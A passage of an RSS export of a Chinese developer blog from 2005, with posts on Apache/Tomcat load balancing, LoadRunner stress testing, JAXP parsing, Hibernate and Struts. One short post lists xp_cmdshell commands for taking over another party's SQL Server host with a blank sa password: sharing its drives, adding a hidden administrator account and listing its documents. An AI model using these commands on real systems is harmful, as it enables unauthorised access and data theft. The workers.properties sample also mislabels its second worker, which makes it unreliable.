应用迭代开发，首先要进行整体的项目规划，制定项目要达到的目标，产品应该具有的最终功能。然后根据实际需要，划分产品开发里程碑。
迭代开发和增量开发比较类似，他们都遵循“化整为零”的原则，路要一步步走，饭要一口一口吃。
但是迭代式开发有个弱点，如果控制不好，就变成了修修补补的开发模式。这样增加新的功能时，不是基于原有设计框架的新增，而是对原有功能的修补。而修补的开发，会经常大幅度修改原来已经开发好的代码，造成软件的质量不稳定和开发延期。
总结：任何开发模式，都有利有弊，关键在于如何应用。而不能一味的强调这个模式好，哪个模式不好。
]]></description>
<pubDate>
2005-10-31 18:51:53.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115518.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115518.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[apache+tomcat+mysql]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115520.shtml</link>
<description>
<![CDATA[            Apache+Tomcat+Mysql网站配置
前言：
公司开发了一个网站，估计最高在线人数是3万，并发人数最多100人。开发的网站是否能否承受这个压力，如何确保网站的负荷没有问题，经过研究决定如下：
（1）采用负载平衡和集群技术，初步机构采用Apache+Tomcat的机群技术。
（2）采用压力测试工具，测试压力。工具是Loadrunner。
硬件环境搭建：
为了能够进行压力测试，需要搭建一个环境。刚开始时，测试在公司局域网内进行，但很快发现了一个问题，即一个脚本的压力测试结果每次都不一样，并且差别很大。原来是受公司网络的影响，于是决定搭建一个完全隔离的局域网测试。搭建后的局域网配置如下：
（1）网络速度：100M
（2）三台服务器：
负载服务器 ：操作系统windows2003，
Tomcat服务器：操作系统windows2000 Professional
数据库服务器：操作系统windows2000 Professional
三台机器的cpu 2.4 G, 内存 1G。
软件环境搭建：
软件的版本如下：
Apache 版本：2.054，
Tomcat5.0.30,
mysql ：4.1.14.
JDK1.5
压力测试工具：Loadrunner7.8。
负载平衡方案如下：
一台机器（操作系统2003）安装apache，作为负载服务器，并安装tomcat作为一个worker；一个单独安装tomcat，作为第二个worker；剩下的一台单独作为数据库服务器。
    Apache和tomcat的负载平衡采用JK1.2.14（没有采用2.0，主要是2.0不再维护了）。
集群方案：
    采用Tomcat本身的集群方案。在server.xml配置。
压力测试问题：
压力测试后，发现了一些问题，现一一列出来：
（1）采用Tocmat集群后，速度变得很慢。因为集群后，要进行session复制，导致速度较慢。Tomcatd的复制，目前不支持application复制。复制的作用，主要用来容错的，即一台机器有故障后，apache可以把请求自动转发到另外一个机器。在容错和速度的考虑上，我们最终选择速度，去掉了Tomcat集群。
（2）操作系统最大并发用户的限制：
 为了采用网站的压力，我们开始的时候，仅测试Tomcat的最大负载数。Tomcat服务器安装的操作系统是windows2000 Professional。当我们用压力测试工具，并发测试时，发现只要超过15个并发用户，会经常出现无法连接服务器的情况。经过研究，发现是操作系统的问题：windows2000 Professional 支持的并发访问用户有限，默认的好像是15个。于是我们把操作系统全部采用windows2003 server版本。
（3）数据库连接池的问题：
测试数据库连接性能时，发现数据库连接速度很慢。每增加一些用户，连接性能就差了很多。我们采用的数据库连接池是DBCP，默认的初始化为50个，应该不会很慢吧。查询数据库的连接数，发现初始化，只初始化一个连接。并发增加一个用户时，程序就会重新创建一个连接，导致连接很慢。原因就在这里了。如何解决呢？偶尔在JDK1.4下的Tomcat5.0.30下执行数据库连接压力测试，发现速度很快，程序创建数据库连接的速度也是很快的。看来JDK1.5的JDBC驱动程序有问题。于是我们修改 JDK的版本为1.4.

（4）C3P0和DBCP
C3P0是Hibernate3.0默认的自带数据库连接池，DBCP是Apache开发的数据库连接池。我们对这两种连接池进行压力测试对比，发现在并发300个用户以下时，DBCP比C3P0平均时间快1秒左右。但在并发400个用户时，两者差不多。

速度上虽然DBCP比C3P0快些，但是有BUG：当DBCP建立的数据库连接，因为某种原因断掉后，DBCP将不会再重新创建新的连接，导致必须重新启动Tomcat才能解决问题。DBCP的BUG使我们决定采用C3P0作为数据库连接池。
调整后的方案：
操作系统Windows2003 server版本
JDK1.4
Tomcat 5.0.30
数据库连接池C3P0
仅采用负载平衡，不采用集群。
软件的配置：
Apache配置：主要配置httpd.conf和新增加的文件workers.properties
Httpd.conf：
#一个连接的最大请求数量
MaxKeepAliveRequests 10000 
#NT环境，只能配置这个参数来提供性能
<IfModule mpm_winnt.c> 
#每个进程的线程数，最大1920。NT只启动父子两个进程，不能设置启动多个进程
ThreadsPerChild 1900
每个子进程能够处理的最大请求数
MaxRequestsPerChild  10000
</IfModule>

# 加载mod_jk
#
LoadModule jk_module modules/mod_jk.so
#
# 配置mod_jk
#
JkWorkersFile conf/workers.properties
JkLogFile logs/mod_jk.log
JkLogLevel info
#请求分发，对jsp文件，.do等动态请求交由tomcat处理
DocumentRoot "C:/Apache/htdocs"
JkMount /*.jsp loadbalancer
JkMount /*.do loadbalancer
JkMount /servlet/* loadbalancer
#关掉主机Lookup，如果为on，很影响性能，可以有10多秒钟的延迟。
HostnameLookups Off
#缓存配置
LoadModule cache_module modules/mod_cache.so
LoadModule disk_cache_module modules/mod_disk_cache.so
LoadModule mem_cache_module modules/mod_mem_cache.so

<IfModule mod_cache.c>
  CacheForceCompletion 100
  CacheDefaultExpire 3600
  CacheMaxExpire 86400
  CacheLastModifiedFactor 0.1
  
  <IfModule mod_disk_cache.c>
CacheEnable disk /
CacheRoot c:/cacheroot
CacheSize 327680
CacheDirLength 4
CacheDirLevels 5
CacheGcInterval 4
  </IfModule>
  <IfModule mod_mem_cache.c>
CacheEnable mem /
MCacheSize 8192
MCacheMaxObjectCount 10000
MCacheMinObjectSize 1
MCacheMaxObjectSize 51200
  </IfModule>
</IfModule>
worker. Properties文件
#
# workers.properties ，可以参考
http://jakarta.apache.org/tomcat/connectors-doc/config/workers.html
# In Unix, we use forward slashes:
ps=\

# list the workers by name

worker.list=tomcat1, tomcat2, loadbalancer

# ------------------------
# First tomcat server
# ------------------------
worker.tomcat1.port=8009
worker.tomcat1.host=localhost
worker.tomcat1.type=ajp13

# Specify the size of the open connection cache.
#worker.tomcat1.cachesize

#
# Specifies the load balance factor when used with
# a load balancing worker.
# Note:
#  ----> lbfactor must be > 0
#  ----> Low lbfactor means less work done by the worker.
worker.tomcat1.lbfactor=900

# ------------------------
# Second tomcat server
# ------------------------
worker.tomcat1.port=8009
worker.tomcat1.host=202.88.8.101
worker.tomcat1.type=ajp13

# Specify the size of the open connection cache.
#worker.tomcat1.cachesize

#
# Specifies the load balance factor when used with
# a load balancing worker.
# Note:
#  ----> lbfactor must be > 0
#  ----> Low lbfactor means less work done by the worker.
worker.tomcat1.lbfactor=2000

# ------------------------
# Load Balancer worker
# ------------------------

#
# The loadbalancer (type lb) worker performs weighted round-robin
# load balancing with sticky sessions.
# Note:
#  ----> If a worker dies, the load balancer will check its state
#        once in a while. Until then all work is redirected to peer
#        worker.
worker.loadbalancer.type=lb
worker.loadbalancer.balanced_workers=tomcat1,tomcat2

#
# END workers.properties
#

Tomcat1配置:
<!--配置server.xml
去掉8080端口，即注释掉如下代码：-->
<Connector 
port="8080"  maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
               enableLookups="false" redirectPort="8443" acceptCount="100"
               debug="0" connectionTimeout="20000" 
               disableUploadTimeout="true" />

<!--配置8009端口如下：-->
<Connector port="8009" 
maxThreads="500" minSpareThreads="400" maxSpareThreads="450"
               enableLookups="false" redirectPort="8443" debug="0"
               protocol="AJP/1.3" />
<!--配置引擎-->  
<Engine name="Catalina" defaultHost="localhost" debug="0" jvmRoute="tomcat1">

启动内存配置,开发configure tomcat程序即可配置：
Initial memory pool: 200 M
Maxinum memory pool:300M
Tomcat2配置：
配置和tomcat1差不多，需要改动的地方如下：
<!--配置引擎-->  
<Engine name="Catalina" defaultHost="localhost" debug="0" jvmRoute="tomcat2">

启动内存配置,开发configure tomcat程序即可配置：
Initial memory pool: 512 M
Maxinum memory pool:768M
Mysql配置：
Server类型：Dedicated MySQL Server Machine 
Database usage:Transational Database Only
并发连接数量：Online Transaction Processing(OLTP)
字符集：UTF8
数据库连接池的配置：
我们采用的是spring 框架，配置如下：
<property name="hibernateProperties">
<props>
<prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
<prop key="hibernate.connection.driver_class">com.mysql.jdbc.Driver</prop>
<prop key="hibernate.connection.url">jdbc:mysql://202.88.1.103/db</prop>
<prop key="hibernate.connection.username">sa</prop>
<prop key="hibernate.connection.password"></prop>

<prop key="hibernate.show_sql">false</prop>
<prop key="hibernate.use_sql_comments">false</prop>

<prop key="hibernate.cglib.use_reflection_optimizer">true</prop>
<prop key="hibernate.max_fetch_depth">2</prop>

<prop key="hibernate.c3p0.max_size">200</prop>
<prop key="hibernate.c3p0.min_size">5</prop>
<prop key="hibernate.c3p0.timeout">12000</prop>
<prop key="hibernate.c3p0.max_statements">50</prop>
<prop key="hibernate.c3p0.acquire_increment">1</prop>
</props>
</property>
其他的没有额外配置。
LoadRunner 常见问题：
（1）sofeware caused connction：这种情况，一般是脚本有问题，或者loadrunner有问题。解决方法：重新启动机器，或者重新录制脚本，估计是loadrunner的bug。
（2）cannot connect to server:无法连接到服务器。这种情况是服务器的配置有问题，服务器无法承受过多的并发连接了。需要优化服务器的配置，
如操作系统采用windows 2003 server，
优化tomcat配置：maxThreads="500" minSpareThreads="400" maxSpareThreads="450"。但是tomcat 最多支持500个并发访问
优化apache配置：
ThreadsPerChild 1900
MaxRequestsPerChild  10000
 其他的错误如：
Action.c(10): Error -27791: Server  has shut down the connection prematurely
HTTP Status-Code=503 (Service Temporarily Unavailable)
一般都是由于服务器配置不够好引起的，按照问题（2）处理，如果仍旧不行，需要优化硬件和调整程序了。
Apache问题：
（1）File does not exist: C:/Apache/htdocs/favicon.ico：
这个问题是apache，htdocs目录没有favicon.ico文件引起的，该文件是网站的图标，仅在firefox,myIE等浏览器出现。
（2）图片无法显示：
配置apache后，却无法显示图片。
解决方法：把程序的图片，按照程序结构copy到apache的htdocs目录下。
（3）无法处理请求：
当我们输入 ***.do 命令后，apache确返回错误信息，而连接tomcat却没有问题。原因是没有把.do命令转发给tomcat处理。解决方法如下：
在apache配置文件中配置如下内容：
DocumentRoot "C:/Apache/htdocs"
JkMount /*.jsp loadbalancer
JkMount /*.do loadbalancer


总结：
网站的压力测试，涉及的知识面挺广的，不仅要熟悉压力测试工具，还要知道如何配置和优化应用服务器和数据库，并且需要知道如何优化网络、操作系统、硬件系统。
测试中不仅要善于发现问题，要知道如何解决。最重要的一点，要有良好的测试方法。刚开始测试时，可以从最简单的测试脚本入手，不需要太复杂的脚本，这样便于发现问题。如我们刚开始时，就从一个简单的下载登陆界面的脚本入手，测试一个tomcat的压力负载。一个简单的获取登陆的脚本，帮助我们优化了tomcat的配置；后来再测试数据库连接，也是一个简单的数据库连接脚本，帮助我们优化了数据库连接池；然后利用这些简单的脚本，测试apache的负载平衡，优化了apache配置。最后运行复杂的脚本，模拟多种角色的用户在不同时间下的处理，以测试网站压力负载。
]]></description>
<pubDate>
2005-09-25 11:27:54.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115520.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115520.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[apache,tomcat负载平衡]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115522.shtml</link>
<description>
<![CDATA[1. The integration of the Apache web server and the Tomcat servlet container together has been a popular choice to handle web requests 
and to balance loads. 
2.Apache 2.0 is a standards compliant, fast and mature web server which excels at delivering static content such as static HTML pages 
and images. The Tomcat web server is great for serving Java Server Pages and servlets, but it is not as fast as Apache for delivering
static content. In order to build a fast, scalable web application, the requirements call for an Apache server that delegates servicing 
of JSP and servlet requests to multiple tomcat servers by using an Apache module, mod_jk, that performs load balancing with session 
affinity, also known as "sticky" sessions.
3.Typical Apache-Tomcat proxy configurations
The standard Apache-Tomcat proxy configuration places an Apache (proxy) HTTP server before the Tomcat application servers in
a "neutral zone" between the company's private network and the Internet (or some other outside public network) for secure access to 
the company's private data. This proxy server also acts as a load balancer and as a server of static content. Figure 1 shows
such a configuration scenario. 
http://www.javaworld.com/javaworld/jw-02-2005/images/jw-0228-pippo1.gif
To connect Apache to Tomcat, you can choose one of the standard connectors. For production deployment, mod_jk is the best choice 
(see Tomcat FAQ and "Fronting Tomcat" for further details). In particular, the mod_jk connector is said to provide approximately
double the performance than mod_proxy for several reasons, including a persistent connection pool to Tomcat and a custom optimized
protocol named AJP (see the Apache Jakarta Tomcat Connector). For a step-by-step explanation on how to connect an array of Tomcats
to Apache using such a connector, see "High Availability Tomcat" (JavaWorld, December 2004).
4. Alternative approach: In an Apache-Tomcat setup, a Tomcat instance called Tomcat Worker is configured to implement load balancing.
5.Clustering and Load Balancing support is provided in Tomcat 5 (http://www.onjava.com/lpt/a/4649)
6.A good exmaple of how to configure load balancing of apache+tomcat is:
http://raibledesigns.com/tomcat/
  但是应该注意的问题是：必须采用jk_mod 而不是jk_mod2,jk_mod2还有些问题。如果不考虑负载平衡，可以采用jk_mod2。jk2已经被宣布不再支持了，参见http://apache.freelamp.com/jakarta/tomcat-connectors/jk2/binaries/win32/]]></description>
<pubDate>
2005-08-29 16:56:26.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115522.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115522.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[jaxp DOM解析]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115524.shtml</link>
<description>
<![CDATA[<?xml version="1.0" encoding="UTF-8"?>
<Database>
<server name="andrew">work64</server>
<database>wiring</database>
<user>sa</user>
<password></password>
</Database>
这个xml文件,JAXP是如何解析的.
DocumentBuilderFactory factory=DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(files);
//获取根元素
Element root = doc.getDocumentElement();
那么root的第一个节点是什么呢?<server>节点?错了,是位于<Database>和<server name="andrew">work64</server>的空白,文本节点.不信,你打印一下就可以知道:System.err.println("begin:"+root.getFirstChild().getNodeValue()+":end");
则打印出:
begin:
:end.其实就是一个回车,换行符.这一点最容易让人弄错.一个DOM包括document(根节点),element(元素节点),text(文本节点),comment(注释节点),entity(实体节点)等.
对xml的解析脚本如下:
import java.io.IOException;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;

import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

/**
 Description:
 @author:Andrew  2005-8-26
 */
public class Test {

    public void parseXml(String file){
        DocumentBuilderFactory xmlfactory=null;
        DocumentBuilder xmlbuild=null;
        Document doc=null;
        
        xmlfactory= DocumentBuilderFactory.newInstance();
        xmlfactory.setIgnoringElementContentWhitespace(true);
        //解析xml文件
        try {
            xmlbuild = xmlfactory.newDocumentBuilder();        
            doc=xmlbuild.parse(file);
        } catch (ParserConfigurationException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (SAXException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        //读取配置信息,给字段赋值
        Node root = doc.getDocumentElement();
        System.err.println("begin:"+root.getFirstChild().getNodeValue()+":end");
        NodeList child = root.getChildNodes();
        for(int i=0;i<child.getLength();i++){
            Node node=child.item(i);
            if (node.getNodeType()==Node.ELEMENT_NODE){
                if (node.getNodeName().equals("server")){
                    if(node.getChildNodes().getLength()>0){
                        String sserver=node.getFirstChild().getNodeValue();
                        System.err.println(sserver+":::"+i);
                    }
                }
                if(node.getNodeName().equals("database")){
                    if(node.getChildNodes().getLength()>0){
                        String sdb=node.getFirstChild().getNodeValue();
                        System.err.println(sdb);
                    }
                }
                if(node.getNodeName().equals("user")){
                    if(node.getChildNodes().getLength()>0){
                        String suser=node.getFirstChild().getNodeValue();
                        System.err.println(suser);
                    }
                }
                if(node.getNodeName().equals("password")){
                    if(node.getChildNodes().getLength()>0){
                        String spass=node.getFirstChild().getNodeValue();
                        System.err.println(spass);
                    }
                    else
                        System.err.println("null value");
                }
            }
            else{
                System.err.println(node.getNodeName()+"--"+node.getNodeValue());
            }
            
        }
   
    }   
    public static void main(String[] args) {
        // TODO Auto-generated method stub
        Test a = new Test();
        a.parseXml("configure.xml");
    }
}

]]></description>
<pubDate>
2005-08-26 11:45:48.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115524.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115524.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[Vo Java代码和hbm.xml文件转换]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115526.shtml</link>
<description>
<![CDATA[用Middlegen 产生hbm.xml和 vo java代码后，往往根据实际情况，需要修改数据库表或者java类。有两种方式，一种是根据java文件重新生成hbm文件，一种是根据hbm文件生成java类。
1根据java文件重新生成hbm文件：
主要是利用xdoclet的xdoclet.modules.hibernate.HibernateDocletTask类实现。但是当 hibernate版本由2升为3后。Middlegen产生的类没有了tag标志，因此无法完成生成hbm的任务。
2根据hbm文件生成java类：
对于hibernate2，主要是利用net.sf.hibernate.tool.hbm2java类。但是hibernate3不再提供该类。对于3需要利用org.hibernate.tool.ant.HibernateToolTask。该类不在hibernate3.jar中，而在hibernate-tools.jar文件中。执行该任务需要用到的类包括：
hibernate3.jar
hibernate-tools.jar
jtidy-r8-21122004.jar
velocity-1.4.jar
velocity-tools-generic-1.1.jar
3    它的ant任务如下：
<target name="anthbm2java">
<taskdef name="hibernatetool" 
  classname="org.hibernate.tool.ant.HibernateToolTask" 
  classpathref="project.class.path"/>

<hibernatetool destdir="＄{src.dir}">
<configuration configurationfile="src/hibernate.cfg.xml" >
</configuration>
<hbm2java generics="true" ejb3="false"/>
<hbm2ddl export="false" console="false" create="true" update="false" drop="false" outputfilename="order.sql" /> 
<!--<cfg2hbm/>
<hbm2doc/>-->
</hibernatetool>
</target>

＄{src.dir}-------产生的java文件存放路径
project.class.path-------jar类路径
参考：
http://www.hibernate.org/hib_docs/tools/ant/
]]></description>
<pubDate>
2005-08-25 12:18:28.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115526.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115526.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[重复提交和回退解决方案]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115528.shtml</link>
<description>
<![CDATA[网速较慢时，用户可能点击多次提交按钮，照成重复提交。或者提交后点击回退按钮再次提交。这些问题都必须解决。解决方案如下（结合struts）：
1、在struts-config.xml文件中，设置页面不缓存：
<controller nocache="false" />
2Action的配置中，凡是有表单录入的，必须设置scope=”request”。默认是session，如果设置为session，则回退时，会把原先输入的值带入，当用户再次提交时会新增一条数据。设置为request，回退时，会自动清空原有值。
3继承MyForwardAction,MyAction类。这两个类实现token处理，防止重复提交。
4登陆后，把用户信息设到session中。Session.setAttribute(“user”,user)。
5登出后，把用户信息从session中删除。Session.removeAttribute (“user”).
6加入过滤器，判断页面中是否存在用户信息。如果不存在返回到登陆页面，以防止非法的进入。这样也保证当一个用户登出后，其他用户利用回退也无法看前一个用户的数据。
MyForwarAction如下:
public class MyForwardAction extends ForwardAction {

    @Override
    public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
        //设置token
        saveToken(request);
        return super.execute(mapping, form, request, response);
    }

}
MyAction如下:
public abstract class BaseAction extends Action {
    @Override
    public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
        // TODO Auto-generated method stub
        if (isTokenValid(request,true)){
          ActionMessages errors = new ActionMessages();          
          return todo(mapping, form, request, response);
      }else{          
          ActionMessages errors = new ActionMessages();
          errors.add(Globals.ERROR_KEY,new ActionMessage("submitagain"));
          saveErrors(request,errors);                     
          ActionForward af = mapping.getInputForward();
          if (af==null)
              return mapping.findForward("submitagain");
          else
              return af;
      }        
    }
    public abstract ActionForward todo(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception ;
}
参考:
http://www.3lian.com/zl/2004/10-5/221853.html
http://www.knowsky.com/5574.html
http://www.theserverside.com/articles/article.tss?l=RedirectAfterPost
]]></description>
<pubDate>
2005-08-25 12:11:22.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115528.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115528.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[xmlhttp的struts实现]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115531.shtml</link>
<description>
<![CDATA[有时候客户端需要等待服务器端的处理结果，根据结果进行前端页面的处理，这时利用xmlhttp协议就很有用处了。
前台代码：

function xmlhttp(){
var req = new ActiveXObject("Msxml2.XMLHTTP")
req.open("GET","http://localhost:8080/zzzz/xxxxx.do",false) //zzzz表示系统，xxxx表示动作,false同步等待
req.send()
//获取响应
var ret=req.getResponseHeader("xmlhttp").toLocaleString()
//根据返回结果进行判断.....
}


服务器端实现：Action类的 execute方法中加入
reponse.setHeader("xmlhttp","Return from server!");//结果可以自己定义

这种方法要求在Header设置状态变量，来表示服务器的处理结果。]]></description>
<pubDate>
2005-08-17 08:51:00.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115531.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115531.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[pb trace 工具]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115535.shtml</link>
<description>
<![CDATA[    当pb程序变得很庞大,如几百兆pbl,pb的架构处理变得很复杂时.程序的运行的速度往往变得很慢.目前我们公司的pb程序,打开一个窗口往往需要40多秒钟.这显然让用户无法接受的.因此,对程序代码进行优化是很必然的.不过大家可能都有这样的经历,那就是在程序中,写入测试代码来跟踪程序执行的时间.这种方法对于单段代码分析还是有用的,但是对于复杂的分析往往显得力不从心.就如同我们公司的代码,一个open事件就涉及到父类多个事件,多个用户对象,多个全局函数的调用.如果在程序中写入代码跟踪,辛苦可想而知.
    幸好,pb提供一个跟踪代码执行的利器pb trace工具,利用它,我们便可以轻松获得代码执行的时间,知道代码的瓶颈.可以参考如下资料:   http://sybooks.sybase.com/onlinebooks/group-pb/pbg1000e/pbug/@ebt-link;nh=1;pt=53875;lang=zh?target=%25N%15_54072_START_RESTART_N%25;__prev_hit__=1941;__next_hit__=54422;DwebQuery=Profiling+Trace+View&DwebSearchAll=1
http://www.astercity.net/~azakrze3/html/profiling.html

 
]]></description>
<pubDate>
2005-07-16 11:20:25.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115535.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115535.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[xp_cmdshell 几个用法]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115537.shtml</link>
<description>
<![CDATA[sql server的外部存储过程xp_cmdshell，有个强大的功能，可以执行windows的一些命令。这对于操纵对方电脑，进行一些资料获取很有“帮助”。前提是知道对方机器的sqlserver数据库的sa密码。一般的都是空密码。
共享对方C,D盘
EXEC master..xp_cmdshell "net share d=d:\ "
取消共享：
EXEC xp_cmdshell "net share d /del "

在对方电脑中加入一个超级用户(andrew,密码123456)：
exec xp_cmdshell 'net user andrew 123456 /add'
exec xp_cmdshell 'net localgroup administrators andrew /add'

显示对方c盘根目录下的所有doc文件
exec xp_cmdshell 'dir c:\*.doc /s'

哈哈，有了这些处理，你可以无所不为了。但是前提是不要搞破坏。]]></description>
<pubDate>
2005-07-13 10:56:24.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115537.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115537.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[user interface stardard]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115614.shtml</link>
<description>
<![CDATA[微软的xp风格用户界面设计规范，值得一读：
http://www.microsoft.com/whdc/hwdev/windowsxp/downloads/default.mspx
下载：
http://download.microsoft.com/download/whistler/xpv/1.0a/WXP/EN-US/WindowsXP_DesignGuidelines.exe]]></description>
<pubDate>
2005-07-08 12:01:59.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115614.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115614.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[Hibernate in action]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115540.shtml</link>
<description>
<![CDATA[   学习使用hibernate好长一段时间了.也使用了好多hibernate插件.但总是感觉知其然而不知其所以然.查阅了不少网上资料,更多的是介绍如何使用hibernate,而对原理的东西涉及甚少.
    有幸拜读了<Hibernate in action>的大作,感觉如拨云见日,受益非浅.如果有时间的话,还是要读一下英文原著:
    http://www.matrix.org.cn/servlet/down?type=resource&id=573
    不过国内有人把它翻译过来了.可以去书店购买]]></description>
<pubDate>
2005-07-07 11:06:28.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115540.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115540.shtml#comment</comments>
</item>
<item>
<blogcn_uid>
<![CDATA[1134442]]></blogcn_uid>
<title>
<![CDATA[vss事件开发undefined]]></title>
<link>
http://zhaoshouzhong.blogcn.com/diary,204115544.shtml</link>
<description>
<![CDATA[vss没有trigger机制,如当用户add时,对add动作进行监听,以判断该动作是否合法,或者做一些其他事情,就如同数据库的触发器一样.不过,利用vss的com对象,我们可以做到trigger处理.
实现事件监听,必须实现IVSSEventHandler句柄,并实现它的一些方法.利用vb新建一个active dll项目,把如下代码放入:
Implements IVSSEventHandler
'对象加入前
Function VSSHandler_BeforeAdd(ByVal Prj As IVSSItem, ByVal LocalSpec _
                                As String, ByVal Comment As String) As Boolean  
  MsgBox ("The file " + LocalSpec + " is about to be added to 
              " +  Prj.Spec _+ " with a comment of " + Comment)
   If Comment = "" Then
      VSSHandler_BeforeAdd = False
      Else
      VSSHandler_BeforeAdd = True
    EndIf
End Function
'对象加入后的事件
Sub VSSHandler_AfterAdd(ByVal Item As IVSSItem, ByVal LocalSpec As _
                            String, ByVal Comment As String)
   
End Sub
编译成dll.在Common\VSS\win32的目录下,新建一个文件:ssaddin.ini,输入Project1.Class1=1
把编译后的dll放到该目录下.然后打开vss,进行add操作,你就会看到一个提示了.
当然,这只是一个简单的处理,复杂的可以参考如下文档自己编写:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnvss/html/vssauto.asp
]]></description>
<pubDate>
2005-06-29 15:52:10.0</pubDate>
<guid>
http://zhaoshouzhong.blogcn.com/diary,204115544.shtml</guid>
<comments>
http://zhaoshouzhong.blogcn.com/diary,204115544.shtml#comment</comments>
</item>
</channel>
</rss>